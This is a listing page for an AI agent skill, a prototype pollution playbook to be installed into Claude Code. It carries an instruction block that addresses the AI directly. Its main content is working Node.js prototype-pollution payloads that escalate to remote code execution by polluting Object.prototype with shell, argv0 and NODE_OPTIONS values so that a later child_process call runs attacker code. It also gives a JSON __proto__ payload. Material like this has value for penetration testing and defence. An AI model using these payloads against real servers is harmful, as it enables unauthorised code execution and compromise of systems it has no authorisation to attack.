
Prototype Pollution Advanced
Advanced prototype pollution playbook, server-side RCE, client-side gadgets, filter...
Install
npx skills add Zyrexnn/Cybermes --skill prototype-pollution-advanced -g -a claude-code -y- Repository
- Zyrexnn/Cybermes987
- Category
- Engineering
- Updated
- 3d ago
- License
- Apache-2.0
- Context cost
- Mediumabout 2,689 tokens
- Runs scripts
- No, instructions only
What it does
Advanced prototype pollution playbook, server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.
SKILL: Prototype Pollution Advanced, RCE & Gadget Exploitation
AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks,
__proto__vsconstructor.prototype, basic probes).
0. RELATED ROUTING
- prototype-pollution, LOAD FIRST for PP fundamentals, merge-sink detection, basic probes
- ssti-server-side-template-injection, template engine RCE context (PP often triggers through template gadgets)
- xss-cross-site-scripting, client-side PP gadgets ultimately achieve XSS
Advanced Reference
Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.
1. SERVER-SIDE PP → RCE
1.1 Node.js child_process.spawn, Shell/ENV Injection
When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls'); // inherits shell, env from prototype
// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code
Alternative ENV pollution:
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
